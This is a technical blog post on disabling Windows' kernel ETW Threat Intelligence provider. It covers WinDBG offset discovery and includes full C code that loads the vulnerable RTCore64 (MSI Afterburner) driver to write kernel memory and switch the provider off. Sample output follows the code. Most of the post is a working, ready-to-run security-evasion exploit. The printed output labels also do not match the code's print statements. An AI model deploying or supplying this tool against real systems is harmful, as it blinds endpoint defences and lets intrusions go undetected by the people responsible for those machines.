ETW Threat Intelligence

ETW Ti (Event Tracing for Windows Threat Intelligence) is a security-focused extension used by Microsoft Defender and other security components to monitor potentially malicious behaviour such as process injection and memory tampering.

I’ve previously covered bypassing ETW user mode API hooking. However, since ETW Ti is implemented in the Kernel, we will need to take a different approach.


Determining Offsets using WinDBG

Disabling an ETW provider is a matter of going through the following steps with WinDBG.

Determine the offset to the global variable EtwThreatIntProvRegHandle in ntoskrnl.exe.

0: kd> x nt!EtwThreatIntProvRegHandle
fffff807`62821ad8 nt!EtwThreatIntProvRegHandle = <no type information>

Dereference the address, then use the display type (dt) command to list it’s entries.

0: kd> dq fffff807`62821ad8 L1
fffff807`62821ad8  ffff9388`97df9e90
0: kd> dt nt!_ETW_REG_ENTRY ffff9388`97df9e90
   +0x000 RegList          : _LIST_ENTRY [ 0xffff9388`99e57248 - 0xffff9388`99e57248 ]
   +0x010 GroupRegList     : _LIST_ENTRY [ 0xffff9388`97df9ea0 - 0xffff9388`97df9ea0 ]
   +0x020 GuidEntry        : 0xffff9388`99e57210 _ETW_GUID_ENTRY
   +0x028 GroupEntry       : (null) 
   +0x030 ReplyQueue       : 0xfffff807`626dd6c7 _ETW_REPLY_QUEUE
   +0x030 ReplySlot        : [4] 0xfffff807`626dd6c7 _ETW_QUEUE_ENTRY
   +0x030 Caller           : 0xfffff807`626dd6c7 Void

We then need to query the GuidEntry value (0xffff9388`99e57210).

0: kd> dt nt!_ETW_GUID_ENTRY 0xffff9388`99e57210
   +0x000 GuidList         : _LIST_ENTRY [ 0xffff9388`99e2e828 - 0xffff9388`99ef2010 ]
   +0x010 SiloGuidList     : _LIST_ENTRY [ 0xffff9388`99e57220 - 0xffff9388`99e57220 ]
   +0x020 RefCount         : 0n2
   +0x028 Guid             : _GUID {f4e1897c-bb5d-5668-f1d8-040f4d8dd344}
   +0x038 RegListHead      : _LIST_ENTRY [ 0xffff9388`97df9e90 - 0xffff9388`97df9e90 ]
   +0x048 SecurityDescriptor : 0xffffce04`3157d960 Void
   +0x050 LastEnable       : _ETW_LAST_ENABLE_INFO
   +0x050 MatchId          : 0x00000114`dcfa5555
   +0x060 ProviderEnableInfo : _TRACE_ENABLE_INFO
   +0x080 EnableInfo       : [8] _TRACE_ENABLE_INFO
   +0x180 FilterData       : (null) 
   +0x188 SiloState        : 0xffff9388`99e2e000 _ETW_SILODRIVERSTATE
   +0x190 HostEntry        : (null) 
   +0x198 Lock             : _EX_PUSH_LOCK
   +0x1a0 LockOwner        : (null)

And subsequently ProviderEnableInfo. This should show us the IsEnabled field. Setting this to 0x0 will disable ETW Ti!

0: kd> dt nt!_TRACE_ENABLE_INFO 0xffff9388`99e57210+0x60
   +0x000 IsEnabled        : 1
   +0x004 Level            : 0xff ''
   +0x005 Reserved1        : 0 ''
   +0x006 LoggerId         : 0
   +0x008 EnableProperty   : 0x40
   +0x00c Reserved2        : 0
   +0x010 MatchAnyKeyword  : 0x00000114`dcfa5555
   +0x018 MatchAllKeyword  : 0

Implementing the Lookup Logic

A quicker way of looking up the value using WinDBG, is the following one liner.

db poi(poi(nt!EtwThreatIntProvRegHandle) + 0x20) + 0x60 L1
ffff9388`99e57270  01

Implementing these steps in code just requires the following.

Calculate base address of ntoskrnl.exe and add the RVA of EtwThreatIntProvRegHandle. E.g (UINT64)(base + 0xc21ad8)
Deference the above address and add 0x20 to get a pointer to the GuidEntry.
Add 0x60 to get the address of ProviderEnableInfo. The first byte will be IsEnabled.


Exploit Code

Writing to Kernel memory will require us to exploit a vulnerable driver. As such, we will be using the MSI Afterburner driver, in a similar manner to our previous article on Driver Signature Enforcement.

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <psapi.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <inttypes.h>
#include <tchar.h>


#define FILE_DEVICE_UNKNOWN 0x00000022
#define METHOD_BUFFERED     0
#define FILE_ANY_ACCESS     0

#define RTCORE64_MEM_WRITE_CODE CTL_CODE(0x8000, 0x813, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define RTCORE64_MEM_READ_CODE CTL_CODE(0x8000, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS)


ULONG_PTR FindKernelModuleBaseByName(_In_ LPCTSTR name)
{
    DWORD cbNeeded = 0;
    PVOID* drivers = NULL;
    DWORD driverCount = 0;
    ULONG_PTR result = 0;

    const DWORD initialCount = 1024;
    drivers = (PVOID*)malloc(initialCount * sizeof(PVOID));
    if (!drivers) {
        _tprintf(_T("Allocation failed\n"));
        return 0;
    }

    if (!EnumDeviceDrivers(drivers, initialCount * sizeof(PVOID), &cbNeeded)) {
        DWORD err = GetLastError();
        if (cbNeeded > initialCount * sizeof(PVOID)) {
            free(drivers);
            drivers = (PVOID*)malloc(cbNeeded);
            if (!drivers) {
                _tprintf(_T("Allocation failed (needed %u bytes)\n"), cbNeeded);
                return 0;
            }
            if (!EnumDeviceDrivers(drivers, cbNeeded, &cbNeeded)) {
                _tprintf(_T("EnumDeviceDrivers failed (%u)\n"), GetLastError());
                free(drivers);
                return 0;
            }
        }
        else {
            _tprintf(_T("EnumDeviceDrivers failed (%u)\n"), err);
            free(drivers);
            return 0;
        }
    }

    driverCount = cbNeeded / sizeof(PVOID);
    for (DWORD i = 0; i < driverCount; ++i) {
        if (drivers[i] == NULL)
            continue;

        TCHAR baseName[MAX_PATH] = { 0 };
        if (GetDeviceDriverBaseName(drivers[i], baseName, _countof(baseName))) {
            if (_tcsicmp(baseName, name) == 0) {
                result = (ULONG_PTR)drivers[i];
                break;
            }
        }
    }

    if (!result) {
        _tprintf(_T("[!] Could not resolve %s kernel module's address\n"), name);
    }

    free(drivers);
    return result;
}



typedef struct RTCORE64_MEM_READ {
    BYTE    Reserved1[8];   // Junk
    UINT64  Address;        // Target memory address
    BYTE    Reserved2[8];   // Junk
    DWORD   Size;           // number of bytes to read
    DWORD   Value;          // value read from memory
    BYTE    Reserved3[16];  // Junk
} RTCORE64_MEMORY_READ;

DWORD ReadMemory(HANDLE device, DWORD  size, UINT64 address)
{
    RTCORE64_MEM_READ req = { 0 };
    req.Address = address;
    req.Size = size;

    DWORD bytesReturned = 0;
    BOOL ok = DeviceIoControl(
        device,
        RTCORE64_MEM_READ_CODE,    // IOCTL code
        &req, sizeof(req),         // in-buffer
        &req, sizeof(req),         // out-buffer
        &bytesReturned,
        NULL
    );

    if (!ok) {
        DWORD err = GetLastError();
        fprintf(stderr, "[-] DeviceIoControl failed (error %lu)\n", err);
        return 0;
    }

    return req.Value;
}

UINT64 ReadMemory64(HANDLE device, DWORD size, UINT64 address)
{
    RTCORE64_MEM_READ req = { 0 };
    req.Address = address;
    req.Size = size;

    DWORD bytesReturned = 0;
    BOOL ok = DeviceIoControl(
        device,
        RTCORE64_MEM_READ_CODE,
        &req, sizeof(req),
        &req, sizeof(req),
        &bytesReturned,
        NULL
    );

    if (!ok) {
        printf("[-] DeviceIoControl failed (%lu)\n", GetLastError());
        return 0;
    }

    return req.Value; // driver returns value here
}

DWORD WriteMemory(HANDLE device, DWORD  size, UINT64 address, DWORD value)
{
    RTCORE64_MEM_READ req = { 0 };
    req.Address = address;
    req.Size = size;
    req.Value = value;

    DWORD bytesReturned = 0;
    BOOL ok = DeviceIoControl(
        device,
        RTCORE64_MEM_WRITE_CODE,   // IOCTL code
        &req, sizeof(req),         // in-buffer
        &req, sizeof(req),         // out-buffer
        &bytesReturned,
        NULL
    );

    if (!ok) {
        DWORD err = GetLastError();
        fprintf(stderr, "[-] DeviceIoControl failed (error %lu)\n", err);
        return 0;
    }

    return req.Value;
}


UINT64 ReadQword(HANDLE hDevice, UINT64 address)
{
    DWORD low = ReadMemory(hDevice, 4, address);
    DWORD high = ReadMemory(hDevice, 4, address + 4);

    return ((UINT64)high << 32) | low;
}


BOOL LoadDriver(LPCSTR driverName, LPCSTR driverPath) {
    SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
    if (!hSCManager) {
        printf("[-] OpenSCManager failed (%lu)\n", GetLastError());
        return FALSE;
    }

    SC_HANDLE hService = CreateServiceA(
        hSCManager,
        driverName,
        driverName,
        SERVICE_START | DELETE | SERVICE_STOP,
        SERVICE_KERNEL_DRIVER,
        SERVICE_DEMAND_START,
        SERVICE_ERROR_NORMAL,
        driverPath,
        NULL, NULL, NULL, NULL, NULL
    );

    if (!hService) {
        if (GetLastError() == ERROR_SERVICE_EXISTS) {
            hService = OpenServiceA(hSCManager, driverName, SERVICE_START | DELETE | SERVICE_STOP);
        }
        else {
            printf("[-] CreateService failed (%lu)\n", GetLastError());
            CloseServiceHandle(hSCManager);
            return FALSE;
        }
    }

    if (!StartServiceA(hService, 0, NULL)) {
        DWORD err = GetLastError();
        if (err != ERROR_SERVICE_ALREADY_RUNNING) {
            printf("[-] StartService failed (%lu)\n", err);
            CloseServiceHandle(hService);
            CloseServiceHandle(hSCManager);
            return FALSE;
        }
    }

    printf("[+] Driver %s loaded successfully.\n", driverName);
    CloseServiceHandle(hService);
    CloseServiceHandle(hSCManager);
    return TRUE;
}

BOOL UnloadDriver(LPCSTR driverName) {
    SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
    if (!hSCManager) {
        printf("[-] OpenSCManager failed (%lu)\n", GetLastError());
        return FALSE;
    }

    SC_HANDLE hService = OpenServiceA(hSCManager, driverName, SERVICE_STOP | DELETE);
    if (!hService) {
        printf("[-] OpenService failed (%lu)\n", GetLastError());
        CloseServiceHandle(hSCManager);
        return FALSE;
    }

    SERVICE_STATUS status;
    if (!ControlService(hService, SERVICE_CONTROL_STOP, &status)) {
        DWORD err = GetLastError();
        if (err != ERROR_SERVICE_NOT_ACTIVE) {
            printf("[-] ControlService failed (%lu)\n", err);
            CloseServiceHandle(hService);
            CloseServiceHandle(hSCManager);
            return FALSE;
        }
    }

    if (!DeleteService(hService)) {
        printf("[!] DeleteService failed (%lu)\n", GetLastError());
        CloseServiceHandle(hService);
        CloseServiceHandle(hSCManager);
        return FALSE;
    }

    printf("[+] Driver %s unloaded successfully.\n", driverName);
    CloseServiceHandle(hService);
    CloseServiceHandle(hSCManager);
    return TRUE;
}


int main(int argc, char** argv) {

    const ULONG_PTR EtwThreatIntProvRegHandle_rva = 0xc21ad8; // Windows Server 2022 offset
    UINT64 targetAddress;

    ULONG_PTR base = FindKernelModuleBaseByName(L"ntoskrnl.exe");
    if (base) {
        int hexWidth = (int)(sizeof(ULONG_PTR) * 2);
        _tprintf(_T("[+] Kernel base address = 0x%0*I64X\n"), hexWidth, (unsigned long long)base);

        //Add the RVA for EtwThreatIntProvRegHandle_rva
        ULONG_PTR EtwThreatIntProvRegHandleAddr = base + EtwThreatIntProvRegHandle_rva;
        _tprintf(_T("[+] EtwThreatIntProvRegHandle address = 0x%0*I64X\n"), hexWidth, (unsigned long long)EtwThreatIntProvRegHandleAddr);

        targetAddress = EtwThreatIntProvRegHandleAddr;

    }
    else {
        _tprintf(_T("Not found.\n"));
    }

    printf("[!] Loading RTCore64 driver...\n");
    const char* driverName = "AfterBurner";
    const char* driverPath = "C:\\RTCore64.sys";

    if (LoadDriver(driverName, driverPath)) {
        printf("[!] Sending driver requests\n");

        HANDLE hDevice = CreateFileA(
            "\\\\.\\RTCore64",
            GENERIC_READ | GENERIC_WRITE,
            0,
            NULL,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            NULL
        );

        if (hDevice == INVALID_HANDLE_VALUE) {
            fprintf(stderr, "CreateFile failed (error %lu).\n",
                GetLastError());
            return 1;
        }


        //db poi(poi(nt!EtwThreatIntProvRegHandle) + 0x20) + 0x60 L1

        //// Step 1: *(UINT64*)(base + 0xc21ad8)
        int hexWidth = (int)(sizeof(ULONG_PTR) * 2);
        _tprintf(_T("[+] Target address = 0x%0*I64X\n"), hexWidth, (unsigned long long)targetAddress);

        UINT64 level1 = ReadQword(hDevice, targetAddress);
        printf("[+] level1 = 0x%016llx\n", level1);

        // Step 2: *(UINT64*)(level1 + 0x20)
        UINT64 level2 = ReadQword(hDevice, level1 + 0x20);
        printf("[+] level2 = 0x%016llx\n", level2);

        // Step 3: final address = level2 + 0x60
        UINT64 finalAddress = level2 + 0x60;
        printf("[+] final address = 0x%016llx\n", finalAddress);

        //// Step 4: read 1 byte at final address
        UINT64 finalValue = ReadMemory64(hDevice, 1, finalAddress);
        printf("[+] FEtwThreatIntProvRegHandle = 0x%02llx\n", finalValue & 0xFF);

        // Disable the ETW Ti Provider
        DWORD size = 1;
        WriteMemory(hDevice, size, finalAddress, 0x0);

        UINT64 modifiedValue = ReadMemory64(hDevice, 1, finalAddress);
        printf("[+] EtwThreatIntProvRegHandle after change = 0x%02llx\n", modifiedValue & 0xFF);

        UnloadDriver(driverName);

        printf("[!] Have a nice day :) \n");

        CloseHandle(hDevice);
    }

}

Running the Exploit Code

Running the exploit code, we can see that

ETWTiKiller.exe
[+] Kernel base address = 0xFFFFF8016CE00000
[+] EtwThreatIntProvRegHandle address = 0xFFFFF8016DA21AD8
[!] Loading RTCore64 driver...
[+] Driver AfterBurner loaded successfully.
[!] Sending driver requests
[+] Target address = 0xFFFFF8016DA21AD8
[+] level1 = 0xffff890fd5ff8890
[+] level2 = 0xffff890fd8059390
[+] final address = 0xffff890fd80593f0
[+] ProviderEnableInfo.IsEnabled = 0x01
[+] ProviderEnableInfo.IsEnabled after change = 0x00
[+] Driver AfterBurner unloaded successfully.
[!] Have a nice day :)

In Conclusion

Note, that PatchGuard may monitor ETW on newer Windows builds, and as such blue screen the system if it detects tampering of ETW Kernel memory.